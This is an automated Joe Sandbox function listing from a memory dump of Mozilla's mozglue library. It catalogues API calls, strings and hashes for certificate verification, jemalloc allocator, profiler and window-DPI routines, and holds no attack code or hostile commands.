[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C51C878

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction ID: f1613b9c6a0f6f171ad42f7b8f67fdec7367b8082a77b475d31e27ae16e26214
Opcode Fuzzy Hash: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction Fuzzy Hash: 02A2A071A083808FD725DF28C884B9FB7E5BFC9314F458A2DE89997750DB71A905CB82

Function 6C4E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

wintrust.dll, xrefs: 6C4E72CD
(, xrefs: 6C4E768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8
SHA256, xrefs: 6C4E6EC0

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993
<jemalloc>, xrefs: 6C509B33, 6C509BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
Compile-time page size does not divide the runtime one., xrefs: 6C509B38
MALLOC_OPTIONS, xrefs: 6C5097CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
MOZ_CRASH(), xrefs: 6C509B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793
<jemalloc>, xrefs: 6C513941, 6C5139F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
Compile-time page size does not divide the runtime one., xrefs: 6C513946
MALLOC_OPTIONS, xrefs: 6C5135FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
MOZ_CRASH(), xrefs: 6C513950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

MonitorFromWindow, xrefs: 6C53578D
GetDpiForWindow, xrefs: 6C535690
GetWindowDC, xrefs: 6C535710
DeleteObject, xrefs: 6C5357F9
RegisterClassW, xrefs: 6C5356AC
SetWindowPos, xrefs: 6C5356F7
StretchDIBits, xrefs: 6C5357CC
ReleaseDC, xrefs: 6C535742
FillRect, xrefs: 6C535729
LoadIconW, xrefs: 6C53575B
EnableNonClientDpiScaling, xrefs: 6C535666
SetWindowLongPtrW, xrefs: 6C5357B7
gdi32, xrefs: 6C53560A
LoadCursorW, xrefs: 6C535774
CreateWindowExW, xrefs: 6C5356C5
GetMonitorInfoW, xrefs: 6C5357A2
AreDpiAwarenessContextsEqual, xrefs: 6C535637
user32, xrefs: 6C535601
GetSystemMetricsForDpi, xrefs: 6C535677
CreateSolidBrush, xrefs: 6C5357E4
GetThreadDpiAwarenessContext, xrefs: 6C53562D
ShowWindow, xrefs: 6C5356DE

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
